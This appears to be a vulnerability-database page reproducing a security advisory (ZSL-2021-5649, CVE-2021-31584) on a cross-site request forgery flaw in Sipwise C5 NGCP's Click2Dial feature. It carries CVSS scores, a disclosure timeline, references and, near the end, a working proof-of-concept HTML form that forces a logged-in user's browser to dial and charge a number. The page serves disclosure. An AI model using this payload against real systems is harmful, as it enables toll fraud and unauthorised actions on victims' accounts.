Lucene search

K
zeroscienceGjoko KrsticZSL-2021-5649
HistoryApr 23, 2021 - 12:00 a.m.

Sipwise C5 NGCP CSC CSRF Click2Dial Exploit

2021-04-2300:00:00
Gjoko Krstic
zeroscience.mk
88

6.8 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

8.5 High

AI Score

Confidence

High

0.009 Low

EPSS

Percentile

82.7%

Title: Sipwise C5 NGCP CSC CSRF Click2Dial Exploit
Advisory ID: ZSL-2021-5649
Type: Local/Remote
Impact: Cross-Site Scripting
Risk: (4/5)
Release Date: 23.04.2021

Summary

Sipwise C5 (also known as NGCP - the Next Generation Communication Platform) is a SIP-based Open Source Class 5 VoIP soft-switch platform that allows you to provide rich telephony services. It offers a wide range of features (e.g. call forwarding, voicemail, conferencing etc.) that can be configured by end users in the self-care web interface. For operators, it offers a web-based administrative panel that allows them to configure subscribers, SIP peerings, billing profiles, and other entities. The administrative web panel also shows the real-time statistics for the whole system. For tight integration into existing infrastructures, Sipwise C5 provides a powerful REST API interface.

Description

The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site.

Vendor

Sipwise GmbH - <https://www.sipwise.com>

Affected Version

NGCP www_admin version 3.6.7

Tested On

Apache/2.2.22 (Debian)
Apache/2.2.16 (Debian)
nginx

Vendor Status

[13.04.2021] Vulnerability discovered.
[19.04.2021] Contact with the vendor.
[22.04.2021] No response from the vendor.
[23.04.2021] Public security advisory released.
[26.04.2021] Vendor responds with clarification of vulnerable versions and working on fixes.
[26.04.2021] The ‘call2dial’ was only available in www_csc, which has not been used for 7 years now.

PoC

sipwise_csrf.txt

Credits

Vulnerability discovered by Gjoko Krstic - <[email protected]>

References

[1] <https://vulners.com/cve/CVE-2021-31584&gt;
[2] <https://nvd.nist.gov/vuln/detail/CVE-2021-31584&gt;
[3] <https://www.exploit-db.com/exploits/49801&gt;
[4] <https://packetstormsecurity.com/files/162318&gt;
[5] <https://cxsecurity.com/issue/WLB-2021040135&gt;
[6] <https://exchange.xforce.ibmcloud.com/vulnerabilities/200606&gt;
[7] <https://www.incibe-cert.es/alerta-temprana/vulnerabilidades/cve-2021-31584&gt;
[8] <https://www.tenable.com/cve/CVE-2021-31584&gt;
[9] <https://cve.report/CVE-2021-31584&gt;

Changelog

[23.04.2021] - Initial release
[25.04.2021] - Added reference [5], [6], [7], [8] and [9]
[06.05.2021] - Changed affected version and added vendor status

Contact

Zero Science Lab

Web: <https://www.zeroscience.mk>
e-mail: [email protected]

<html><body><p>Sipwise C5 NGCP CSC CSRF Click2Dial Exploit


Vendor: Sipwise GmbH
Product web page: https://www.sipwise.com
Affected version: NGCP www_admin version 3.6.7

Summary: Sipwise C5 (also known as NGCP - the Next Generation Communication Platform)
is a SIP-based Open Source Class 5 VoIP soft-switch platform that allows you to provide
rich telephony services. It offers a wide range of features (e.g. call forwarding, voicemail,
conferencing etc.) that can be configured by end users in the self-care web interface.
For operators, it offers a web-based administrative panel that allows them to configure
subscribers, SIP peerings, billing profiles, and other entities. The administrative web
panel also shows the real-time statistics for the whole system. For tight integration
into existing infrastructures, Sipwise C5 provides a powerful REST API interface.

Desc: The application interface allows users to perform certain actions via HTTP requests
without performing any validity checks to verify the requests. This can be exploited to
perform certain actions with administrative privileges if a logged-in user visits a malicious
web site.

Tested on: Apache/2.2.22 (Debian)
           Apache/2.2.16 (Debian)
           nginx


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2021-5649
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5649.php

CVE ID: CVE-2021-31584
CVE URL: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-31584


13.04.2021

--



  </p>
<form action="https://10.0.1.7/call/click2dial" method="POST">
<input name="d" type="hidden" value="%2B3897031337"/>
<input type="submit" value="Dial and charge!"/>
</form>
</body></html>

6.8 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

MEDIUM

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:M/Au:N/C:P/I:P/A:P

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

REQUIRED

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

8.5 High

AI Score

Confidence

High

0.009 Low

EPSS

Percentile

82.7%

Related for ZSL-2021-5649